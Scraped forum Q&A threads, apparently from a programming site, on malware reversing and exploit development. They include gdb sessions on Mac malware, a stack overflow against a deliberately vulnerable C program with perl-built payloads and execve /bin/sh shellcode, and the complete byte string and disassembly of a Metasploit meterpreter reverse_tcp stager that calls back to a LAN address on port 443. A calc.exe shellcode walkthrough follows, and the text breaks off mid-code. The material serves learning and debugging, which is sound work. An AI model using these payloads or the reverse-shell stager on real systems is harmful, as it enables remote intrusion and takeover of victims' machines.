I'm reversing a malware on Mac OS with gdb.
Then I try to view a local variable in stack,Gdb tells me:"Cannot access memory at address 0xbffffd58".Why?
(gdb) ni
0x000086cc in ?? ()
=> 0x000086cc: 85 c0 test eax,eax
(gdb) i r
eax 0xbffffe0b -1073742325
ecx 0xbffffd58 -1073742504
edx 0x190fc 102652
ebx 0x868e 34446
esp 0xbffffb10 0xbffffb10
ebp 0xbffffb58 0xbffffb58
esi 0x1 1
edi 0x17e9a 97946
eip 0x86cc 0x86cc
eflags 0x302 [ TF IF ]
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x0 0
gs 0xf 15
(gdb) ni
0x000086ce in ?? ()
=> 0x000086ce: 74 e4 je 0x86b4
(gdb) ni
0x000086d0 in ?? ()
=> 0x000086d0: 80 38 2d cmp BYTE PTR [eax],0x2d
(gdb) x/3cb $eax
0xbffffe0b: Cannot access memory at address 0xbffffe0b
(gdb) ni
0x000086d3 in ?? ()
=> 0x000086d3: 75 df jne 0x86b4
(gdb) ni
0x000086b4 in ?? ()
=> 0x000086b4: bf ff ff ff ff mov edi,0xffffffff
(gdb)
Well,I think it is a bug in GDB:
(gdb) x/12i $pc-0x2a
0x2473: push ebx
0x2474: call 0x2479
0x2479: pop ebx
0x247a: sub esp,0x34
0x247d: lea edx,[ebp-0x19]
0x2480: mov DWORD PTR [esp],edx
0x2483: mov DWORD PTR [esp+0x8],0x6
0x248b: lea eax,[ebx+0x15a3e]
0x2491: mov DWORD PTR [esp+0x4],eax
0x2495: call 0xd900
0x249a: mov DWORD PTR [esp],eax
=> 0x249d: call 0x300b3
(gdb) x/10xb $eax
0xbffffcdf: Cannot access memory at address 0xbffffcdf
(gdb) x/1xw $esp
0xbffffcc0: 0xbffffcdf
(gdb) x/10xb 0xbffffcdf
0xbffffcdf: 0x2f 0x74 0x6d 0x70 0x00 0x05 0x7e 0x01
0xbffffce7: 0x00 0x27
(gdb) ni
0x000300b3 in ?? ()
=> 0x000300b3: e8 48 42 de 8f call 0x8fe14300
(gdb)
you see? Examine the same address twice,I get two different results.
And then,I input 'ni' command ,GDB doesn't stepover!
Gdb doesn't work well on Mac OS X?
Related
I want to take the control of EBP and ESP to finally, when the program doing the ret, EIP will addressed to a shellcode, but I have a problem. The program is that:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int limit,c;
int getebp()
{
__asm__("movl %ebp, %eax");
}
int proc(char *nombre)
{
int *i;
char buffer[256];
i = (int *) getebp();
limit = *i - (int)buffer + 4;
for (c = 0; c < limit && nombre[c] != '\0'; c++)
buffer[c] = nombre[c];
printf("\nEncantado de conocerte: %s\n", buffer);
return 0;
}
int main(int argc, char **argv[])
{
if (argc < 2) {
printf("\nUso: %s <nombre>\n", argv[0]);
exit(0);
}
proc(argv[1]);
return 0;
}
The code assembly of proc is like that:
(gdb) disass proc
Dump of assembler code for function proc:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x128
0x08048414 <+9>: call 0x8048404 <getebp>
0x08048419 <+14>: mov DWORD PTR [ebp-0xc],eax
0x0804841c <+17>: mov eax,DWORD PTR [ebp-0xc]
0x0804841f <+20>: mov edx,DWORD PTR [eax]
0x08048421 <+22>: lea eax,[ebp-0x10c]
0x08048427 <+28>: mov ecx,edx
0x08048429 <+30>: sub ecx,eax
0x0804842b <+32>: mov eax,ecx
0x0804842d <+34>: add eax,0x4
0x08048430 <+37>: mov ds:0x8049828,eax
0x08048435 <+42>: mov DWORD PTR ds:0x804982c,0x0
0x0804843f <+52>: jmp 0x8048466 <proc+91>
0x08048441 <+54>: mov eax,ds:0x804982c
0x08048446 <+59>: mov edx,DWORD PTR ds:0x804982c
0x0804844c <+65>: add edx,DWORD PTR [ebp+0x8]
0x0804844f <+68>: movzx edx,BYTE PTR [edx]
0x08048452 <+71>: mov BYTE PTR [ebp+eax*1-0x10c],dl
0x08048459 <+78>: mov eax,ds:0x804982c
0x0804845e <+83>: add eax,0x1
0x08048461 <+86>: mov ds:0x804982c,eax
0x08048466 <+91>: mov edx,DWORD PTR ds:0x804982c
0x0804846c <+97>: mov eax,ds:0x8049828
0x08048471 <+102>: cmp edx,eax
0x08048473 <+104>: jge 0x8048484 <proc+121>
0x08048475 <+106>: mov eax,ds:0x804982c
0x0804847a <+111>: add eax,DWORD PTR [ebp+0x8]
0x0804847d <+114>: movzx eax,BYTE PTR [eax]
0x08048480 <+117>: test al,al
0x08048482 <+119>: jne 0x8048441 <proc+54>
0x08048484 <+121>: mov eax,0x80485c0
0x08048489 <+126>: lea edx,[ebp-0x10c]
0x0804848f <+132>: mov DWORD PTR [esp+0x4],edx
0x08048493 <+136>: mov DWORD PTR [esp],eax
0x08048496 <+139>: call 0x8048300 <printf#plt>
0x0804849b <+144>: mov eax,0x0
0x080484a0 <+149>: leave
0x080484a1 <+150>: ret
End of assembler dump.
and the code assemly of main:
(gdb) disass main
Dump of assembler code for function main:
0x080484a2 <+0>: push ebp
0x080484a3 <+1>: mov ebp,esp
0x080484a5 <+3>: and esp,0xfffffff0
0x080484a8 <+6>: sub esp,0x10
0x080484ab <+9>: cmp DWORD PTR [ebp+0x8],0x1
0x080484af <+13>: jg 0x80484d3 <main+49>
0x080484b1 <+15>: mov eax,DWORD PTR [ebp+0xc]
0x080484b4 <+18>: mov edx,DWORD PTR [eax]
0x080484b6 <+20>: mov eax,0x80485dd
0x080484bb <+25>: mov DWORD PTR [esp+0x4],edx
0x080484bf <+29>: mov DWORD PTR [esp],eax
0x080484c2 <+32>: call 0x8048300 <printf#plt>
0x080484c7 <+37>: mov DWORD PTR [esp],0x0
0x080484ce <+44>: call 0x8048320 <exit#plt>
0x080484d3 <+49>: mov eax,DWORD PTR [ebp+0xc]
0x080484d6 <+52>: add eax,0x4
0x080484d9 <+55>: mov eax,DWORD PTR [eax]
0x080484db <+57>: mov DWORD PTR [esp],eax
0x080484de <+60>: call 0x804840b <proc>
0x080484e3 <+65>: mov eax,0x0
0x080484e8 <+70>: leave
0x080484e9 <+71>: ret
End of assembler dump.
Ok, I know that overwrite EBP with 272 Aes, so:
vagrant#precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+149
Breakpoint 1 at 0x80484a0
(gdb) r `perl -e 'print "A" x272 '`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A" x272 '`
Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Breakpoint 1, 0x080484a0 in proc ()
(gdb) x/16x $esp
0xbffff4c0: 0x080485c0 **0xbffff4dc** 0xb7fdc470 0x00000003
0xbffff4d0: 0xbffff500 0x07b1ea71 0xf63d4e2e 0x41414141
0xbffff4e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) q
And I know that the buffer's init direction is 0xbffff4dc, so:
vagrant#precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *main+70
Breakpoint 1 at 0x80484e8
(gdb) r `perl -e 'print "A"x268 . "\xd8\xf4\xff\xbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "A"x268 . "\xd8\xf4\xff\xbf"'`
Encantado de conocerte: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒
Breakpoint 1, 0x080484e8 in main ()
(gdb) i r ebp
ebp 0xbffff4d8 0xbffff4d8
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp 0xbffff4dc 0xbffff4dc
(gdb) x/x $esp
0xbffff4dc: 0x41414141
Ok, that sounds good, i have got to take the control of ESP. Now I want to shift the shellcode 4 bytes further. So:
vagrant#precise32:~/expliting$ gdb -q ./saludo
Reading symbols from ./saludo...(no debugging symbols found)...done.
(gdb) b *proc+150
Breakpoint 1 at 0x80484a1
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) r `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "\xd8\xf4\xff\xbf"'`
Starting program: /home/vagrant/expliting/saludo `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/sc``perl -e 'print "A"x220 . "\xd8\xf4\xff\xbf"'`
Encantado de conocerte: ▒▒▒▒▒^▒1▒F▒F
▒
▒▒▒V
▒1ۉ▒#̀▒▒▒▒▒/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒
Breakpoint 1, 0x080484a1 in proc ()
(gdb) i r ebp
ebp 0xbffff4d8 0xbffff4d8
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp 0xbffff4dc 0xbffff4dc
(gdb) x/x $esp
0xbffff4dc: 0xbffff4e0
(gdb) x/16x $esp
0xbffff4dc: 0xbffff4e0 0x895e1feb 0xc0310876 0x89074688
0xbffff4ec: 0x0bb00c46 0x4e8df389 0x0c568d08 0x89db3180
0xbffff4fc: 0x80cd40d8 0xffffdce8 0x69622fff 0x68732f6e
0xbffff50c: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) q
!!WTF!! Why? now has ESP address to 0xbffff4e0 ??? The program is compiled like that:
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack $1 -o $2
I have re-done my shellcode, (/tmp/binsh):
cat binsh.asm
section .text
global _start
_start:
xor eax, eax
push eax
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
The objdump:
objdump -d binsh
binsh: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 50 push %eax
8048070: 53 push %ebx
8048071: 89 e1 mov %esp,%ecx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
Basically I did,
echo /bin > bin
echo //sh > sh
and then, I got their hexdump values: 6e69622f and 68732f2f
Works fine:
```vagrant#precise32:/tmp$ ./binsh
$
When I continue, the program should received a shellcode, however recived a SIGILL…
It seems the code loaded from /tmp/sc is wrong. You should see what's wrong with it by disassembling from 0xbffff4e0, e. g. x/20i 0xbffff4e0.
Newly, I have build my shellcode with that command:
echo `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x76\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80/bin/sh";'` > binsh5
so, I think to know what's happening. When I execute the full instruction:
r `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/binsh5``perl -e 'print "A"x234 . "\xd8\xf4\xff\xbf"'`
I take control the both ESP and EBP:
(gdb) i r ebp
ebp 0xbffff4d8 0xbffff4d8
(gdb) c
Continuing.
Breakpoint 2, 0x080484e9 in main ()
(gdb) i r esp
esp 0xbffff4dc 0xbffff4dc
(gdb) x/x $esp
0xbffff4dc: 0xbffff4e0
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff4f8 in ?? ()
However I get a SIGSEGV. If I see this address:
(gdb) x/20i 0xbffff4f8
=> 0xbffff4f8: bound ebp,QWORD PTR [ecx+0x6e]
0xbffff4fb: das
0xbffff4fc: jae 0xbffff566
0xbffff4fe: inc ecx
0xbffff4ff: inc ecx
0xbffff500: inc ecx
0xbffff501: inc ecx
0xbffff502: inc ecx
0xbffff503: inc ecx
0xbffff504: inc ecx
0xbffff505: inc ecx
0xbffff506: inc ecx
0xbffff507: inc ecx
0xbffff508: inc ecx
0xbffff509: inc ecx
0xbffff50a: inc ecx
0xbffff50b: inc ecx
0xbffff50c: inc ecx
0xbffff50d: inc ecx
0xbffff50e: inc ecx
I think to know the problem:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e **push $0x6e69622f**
804806d: 89 e3 mov %esp,%ebx
804806f: 50 push %eax
8048070: 53 push %ebx
8048071: 89 e1 mov %esp,%ecx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
I think that the instruction in bold, is not pushed fully. It seems that shellcode pushs onto the stack like:
2F das
62 69 6E bound ebp,QWORD PTR [ecx+0x6e]
I think I have found the problem, but nowadays I don't know how to solve.
You're right. /tmp/sc not executed the code. I've re-done my shellcode and I know that it's ok, If i type: /tmp/binsc I get the shellcode. But now, the program does nothing finally I have to Ctrl+C.
(gdb) b *proc+150
Breakpoint 1 at 0x80484a1
(gdb) b *main+71
Breakpoint 2 at 0x80484e9
(gdb) r `perl -e 'print "\xe0\xf4\xff\xbf"'``cat /tmp/binsh``perl -e 'print "A"x204 . "\xd8\xf4\xff\xbf"'`
^C
During startup program terminated with signal SIGINT, Interrupt.
(gdb)
I extracted the assembly code of the windows/meterpreter/reverse_tcp payload with lhost set to 127.0.0.1 and lport set to 443, however after building the assembly program with fasm the program crashes, any ideas as to why?
assembly code:
format PE console
use32
entry start
start:
pusha
mov ebp,esp
xor edx,edx
mov edx,[fs:edx+0x30]
mov edx,[edx+0xc]
mov edx,[edx+0x14]
xor edi,edi
movzx ecx,word [edx+0x26]
mov esi,[edx+0x28]
xor eax,eax
lodsb
cmp al,0x61
jl 0x27
sub al,0x20
ror edi, 0xd
add edi,eax
dec ecx
jnz 0x1e
push edx
push edi
mov edx,[edx+0x10]
mov eax,[edx+0x3c]
add eax,edx
mov eax,[eax+0x78]
test eax,eax
jz 0x8c
add eax,edx
push eax
mov ebx,[eax+0x20]
add ebx,edx
mov ecx,[eax+0x18]
test ecx,ecx
jz 0x8b
xor edi,edi
dec ecx
mov esi,[ebx+ecx*4]
add esi,edx
xor eax,eax
ror edi, 0xd
lodsb
add edi,eax
cmp al,ah
jnz 0x57
add edi,[ebp-0x8]
cmp edi,[ebp+0x24]
jnz 0x4b
pop eax
mov ebx,[eax+0x24]
add ebx,edx
mov cx,[ebx+ecx*2]
mov ebx,[eax+0x1c]
add ebx,edx
mov eax,[ebx+ecx*4]
add eax,edx
mov [esp+0x24],eax
pop ebx
pop ebx
popa
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
pop edx
mov edx,[edx]
jmp 0x15
pop ebp
push dword 0x5f327377
push esp
push dword 0x726774c
mov eax,ebp
call eax
sub esp,eax
push esp
push eax
push dword 0x6b8029
call ebp
push 0xa
push dword 0xf201a8c0
push dword 0xbb010002
mov esi,esp
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
push dword 0xe0df0fea
call ebp
xchg eax,edi
push 0x10
push esi
push edi
push dword 0x6174a599
call ebp
test eax,eax
jz 0xf1
dec dword [esi+0x8]
jnz 0xd8
push 0x0
push 0x4
push esi
push edi
push dword 0x5fc8d902
call ebp
cmp eax, 0x0
jng 0x139
mov esi,[esi]
push 0x40
push esi
push 0x0
push dword 0xe553a458
call ebp
xchg eax,ebx
push ebx
push 0x0
push esi
push ebx
push edi
push dword 0x5fc8d902
call ebp
cmp eax, 0x0
jnl 0x151
pop eax
push 0x0
push eax
push dword 0x300f2f0b
call ebp
push edi
push dword 0x614d6e75
call ebp
pop esi
pop esi
dec dword [esp]
jnz near 0xbc
jmp 0xec
add ebx,eax
sub esi,eax
jnz 0x118
ret
mov ebx,0x56a2b5f0
push 0x0
push ebx
call ebp
I'm compiling and running within a windows 7 environment.
I believe it may be because of the push <single_byte> instructions de-aligning the stack, however I'm not sure and inexperienced with assembly, hopefully someone in the community can help me understand what's causing the crash, thanks.
output of:
python -c 'open("out.bin", "wb").write(b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\xf2\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5")' && ndisasm -b 32 out.bin
00000000 FC cld
00000001 E88F000000 call 0x95
00000006 60 pusha
00000007 89E5 mov ebp,esp
00000009 31D2 xor edx,edx
0000000B 648B5230 mov edx,[fs:edx+0x30]
0000000F 8B520C mov edx,[edx+0xc]
00000012 8B5214 mov edx,[edx+0x14]
00000015 31FF xor edi,edi
00000017 0FB74A26 movzx ecx,word [edx+0x26]
0000001B 8B7228 mov esi,[edx+0x28]
0000001E 31C0 xor eax,eax
00000020 AC lodsb
00000021 3C61 cmp al,0x61
00000023 7C02 jl 0x27
00000025 2C20 sub al,0x20
00000027 C1CF0D ror edi,byte 0xd
0000002A 01C7 add edi,eax
0000002C 49 dec ecx
0000002D 75EF jnz 0x1e
0000002F 52 push edx
00000030 57 push edi
00000031 8B5210 mov edx,[edx+0x10]
00000034 8B423C mov eax,[edx+0x3c]
00000037 01D0 add eax,edx
00000039 8B4078 mov eax,[eax+0x78]
0000003C 85C0 test eax,eax
0000003E 744C jz 0x8c
00000040 01D0 add eax,edx
00000042 50 push eax
00000043 8B5820 mov ebx,[eax+0x20]
00000046 01D3 add ebx,edx
00000048 8B4818 mov ecx,[eax+0x18]
0000004B 85C9 test ecx,ecx
0000004D 743C jz 0x8b
0000004F 31FF xor edi,edi
00000051 49 dec ecx
00000052 8B348B mov esi,[ebx+ecx*4]
00000055 01D6 add esi,edx
00000057 31C0 xor eax,eax
00000059 C1CF0D ror edi,byte 0xd
0000005C AC lodsb
0000005D 01C7 add edi,eax
0000005F 38E0 cmp al,ah
00000061 75F4 jnz 0x57
00000063 037DF8 add edi,[ebp-0x8]
00000066 3B7D24 cmp edi,[ebp+0x24]
00000069 75E0 jnz 0x4b
0000006B 58 pop eax
0000006C 8B5824 mov ebx,[eax+0x24]
0000006F 01D3 add ebx,edx
00000071 668B0C4B mov cx,[ebx+ecx*2]
00000075 8B581C mov ebx,[eax+0x1c]
00000078 01D3 add ebx,edx
0000007A 8B048B mov eax,[ebx+ecx*4]
0000007D 01D0 add eax,edx
0000007F 89442424 mov [esp+0x24],eax
00000083 5B pop ebx
00000084 5B pop ebx
00000085 61 popa
00000086 59 pop ecx
00000087 5A pop edx
00000088 51 push ecx
00000089 FFE0 jmp eax
0000008B 58 pop eax
0000008C 5F pop edi
0000008D 5A pop edx
0000008E 8B12 mov edx,[edx]
00000090 E980FFFFFF jmp 0x15
00000095 5D pop ebp
00000096 6833320000 push dword 0x3233
0000009B 687773325F push dword 0x5f327377
000000A0 54 push esp
000000A1 684C772607 push dword 0x726774c
000000A6 89E8 mov eax,ebp
000000A8 FFD0 call eax
000000AA B890010000 mov eax,0x190
000000AF 29C4 sub esp,eax
000000B1 54 push esp
000000B2 50 push eax
000000B3 6829806B00 push dword 0x6b8029
000000B8 FFD5 call ebp
000000BA 6A0A push byte +0xa
000000BC 68C0A801F2 push dword 0xf201a8c0
000000C1 68020001BB push dword 0xbb010002
000000C6 89E6 mov esi,esp
000000C8 50 push eax
000000C9 50 push eax
000000CA 50 push eax
000000CB 50 push eax
000000CC 40 inc eax
000000CD 50 push eax
000000CE 40 inc eax
000000CF 50 push eax
000000D0 68EA0FDFE0 push dword 0xe0df0fea
000000D5 FFD5 call ebp
000000D7 97 xchg eax,edi
000000D8 6A10 push byte +0x10
000000DA 56 push esi
000000DB 57 push edi
000000DC 6899A57461 push dword 0x6174a599
000000E1 FFD5 call ebp
000000E3 85C0 test eax,eax
000000E5 740A jz 0xf1
000000E7 FF4E08 dec dword [esi+0x8]
000000EA 75EC jnz 0xd8
000000EC E867000000 call 0x158
000000F1 6A00 push byte +0x0
000000F3 6A04 push byte +0x4
000000F5 56 push esi
000000F6 57 push edi
000000F7 6802D9C85F push dword 0x5fc8d902
000000FC FFD5 call ebp
000000FE 83F800 cmp eax,byte +0x0
00000101 7E36 jng 0x139
00000103 8B36 mov esi,[esi]
00000105 6A40 push byte +0x40
00000107 6800100000 push dword 0x1000
0000010C 56 push esi
0000010D 6A00 push byte +0x0
0000010F 6858A453E5 push dword 0xe553a458
00000114 FFD5 call ebp
00000116 93 xchg eax,ebx
00000117 53 push ebx
00000118 6A00 push byte +0x0
0000011A 56 push esi
0000011B 53 push ebx
0000011C 57 push edi
0000011D 6802D9C85F push dword 0x5fc8d902
00000122 FFD5 call ebp
00000124 83F800 cmp eax,byte +0x0
00000127 7D28 jnl 0x151
00000129 58 pop eax
0000012A 6800400000 push dword 0x4000
0000012F 6A00 push byte +0x0
00000131 50 push eax
00000132 680B2F0F30 push dword 0x300f2f0b
00000137 FFD5 call ebp
00000139 57 push edi
0000013A 68756E4D61 push dword 0x614d6e75
0000013F FFD5 call ebp
00000141 5E pop esi
00000142 5E pop esi
00000143 FF0C24 dec dword [esp]
00000146 0F8570FFFFFF jnz near 0xbc
0000014C E99BFFFFFF jmp 0xec
00000151 01C3 add ebx,eax
00000153 29C6 sub esi,eax
00000155 75C1 jnz 0x118
00000157 C3 ret
00000158 BBF0B5A256 mov ebx,0x56a2b5f0
0000015D 6A00 push byte +0x0
0000015F 53 push ebx
00000160 FFD5 call ebp
gdb output:
C:\Users\localbox\Desktop>gdb msf_shellcode.exe
GNU gdb (GDB) 7.6.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "mingw32".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from C:\Users\localbox\Desktop\msf_shellcode.exe...(no debugging
symbols found)...done.
(gdb) run
Starting program: C:\Users\localbox\Desktop/msf_shellcode.exe
[New Thread 2336.0xb00]
Program received signal SIGSEGV, Segmentation fault.
0x0000001e in ?? ()
(gdb) x/32xw $esp
0x6ff6c: 0x00000000 0x00000000 0x0006ff94 0x0006ff8c
0x6ff7c: 0x7ffd5000 0x00401000 0x00000000 0x772fef9a
0x6ff8c: 0x772fefac 0x7ffd5000 0x0006ffd4 0x77b33628
0x6ff9c: 0x7ffd5000 0x778d44b6 0x00000000 0x00000000
0x6ffac: 0x7ffd5000 0x00000000 0x00000000 0x00000000
0x6ffbc: 0x0006ffa0 0x00000000 0xffffffff 0x77aee325
0x6ffcc: 0x0039b51a 0x00000000 0x0006ffec 0x77b335fb
0x6ffdc: 0x00401000 0x7ffd5000 0x00000000 0x00000000
(gdb) info registers
eax 0x4d 77
ecx 0x23 35
edx 0x1f1ae8 2038504
ebx 0x7ffd5000 2147307520
esp 0x6ff6c 0x6ff6c
ebp 0x6ff6c 0x6ff6c
esi 0x1f1929 2038057
edi 0x4d 77
eip 0x1e 0x1e
eflags 0x10202 [ IF RF ]
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x3b 59
gs 0x0 0
You crashed with EIP=0x1e. That's because you told FASM to jump there, to that absolute address, with jnz 0x1e. That page of memory is not mapped into your user-space process, so code-fetch causes an "invalid" page fault, and consequently the OS stops your process.
In the ndisasm output, you can see that 1E is the 0000001E 31C0 xor eax,eax line. That's where that branch is supposed to jump (if taken). ndisasm is disassembling as if the block of machine code was loaded starting at absolute address 0, or you could say it's using relative addresses.
(jcc rel8 is of course in the machine code a relative jump; the original machine code is position independent. So is yours, except that jnz 0x1e tells FASM to figure out the relative offset necessary to reach EIP=0x1e from wherever this instruction will end up.)
Use a disassembler that uses labels for branch targets to make asm source you can actually re-assemble, like Agner Fog's objconv. It can disassemble into NASM/YASM, MASM, or GAS (.intel_syntax noprefix) syntax. NASM and FASM are very close in syntax, and that's what ndisasm make.
I’ve got a shellcode. It opens calculator in my buffer overflow program.
0: eb 16 jmp 0x18
2: 5b pop ebx
3: 31 c0 xor eax,eax
5: 50 push eax
6: 53 push ebx
7: bb 4d 11 86 7c mov ebx,0x7c86114d
c: ff d3 call ebx
e: 31 c0 xor eax,eax
10: 50 push eax
11: bb ea cd 81 7c mov ebx,0x7c81cdea
16: ff d3 call ebx
18: e8 e5 ff ff ff call 0x2
1d: 63 61 6c arpl WORD PTR [ecx+0x6c],sp
20: 63 2e arpl WORD PTR [esi],bp
22: 65 78 65 gs js 0x8a
25: 00 90 90 90 90 90 add BYTE PTR [eax-0x6f6f6f70],dl
2b: 90 nop
2c: 90 nop
2d: 90 nop
2e: 90 nop
2f: 90 nop
Apart from the main question being “What does this shellcode do line by line”, I am particularly interested in:
The jmp operation, why and where does my program jump?
The arpl stuff, I see it for the first time and google does not help me much... Same with GS operation
The jmp 0x18 is a relative jump to offset 0x18, which is practically the end of your code. It then calls address 0x2 (again, relative). This call places the "return address" on the stack, so it could be popped from it, giving you a clue about the address in which this relative shellcode is being executed. And indeed, the pop ebx at offset 0x2 is getting the address from the stack.
I said that 0x18 is the end of the code, because the lines after it are data bytes and not asm opcodes. This is why you see arpl. If you look at the hex values of the bytes, you will see:
calc.exe\0 ==> 0x63 0x61 0x63 0x6c 0x2e 0x65 0x78 0x65 0x00
Edited:
The full flow of the shellcode is:
jmp 0x18 - jump to to the last code instruction of the shellcode
call 0x2 - returns to offset 2, and stores the address of offset 0x1D on the stack
pop ebx - ebx := address from the stack, which is the address of the string "calc.exe"
xor eax,eax - common opcode to zero the register: eax := 0
push eax - push the value 0 as the second argument for a future function call
push ebx - push the pointer to "calc.exe" as the first argument for a future function call
mov ebx,0x7c86114d - ebx will be a fixed address (probably WinExec)
call ebx - call the function: WinExec("calc.exe", 0)
xor eax,eax - again, eax := 0
push eax - push the value 0 as the first argument for a future function call
mov ebx,0x7c81cdea - ebx will be a fixed address (probably exit)
call ebx - call the function: exit(0)
Trying to implement a system-independend socket api in assembler as private project, I wrote the following code to resolve a string address (DNS or direct IP) to a sockaddr record.
MSDN told me to use getaddrinfo.
[import getaddrinfo Ws2_32.dll]
[extern getaddrinfo]
[section .data use32 class=data]
google db 'www.google.com', 0
[section .code use32 class=code]
main:
push ebp
mov ebp, esp
call socket.initialise ; calls successfully (debugger) WSAStartup
push google
call address.translate
[...]
; address.translate(string) : address
address.translate:
push ebp
mov ebp, esp
sub esp, 0x04
.prepareSystemCall:
xor eax, eax
mov dword [ebp-0x04], eax
.callSystemLookup:
lea edx, [ebp-0x04]
push edx
push 0
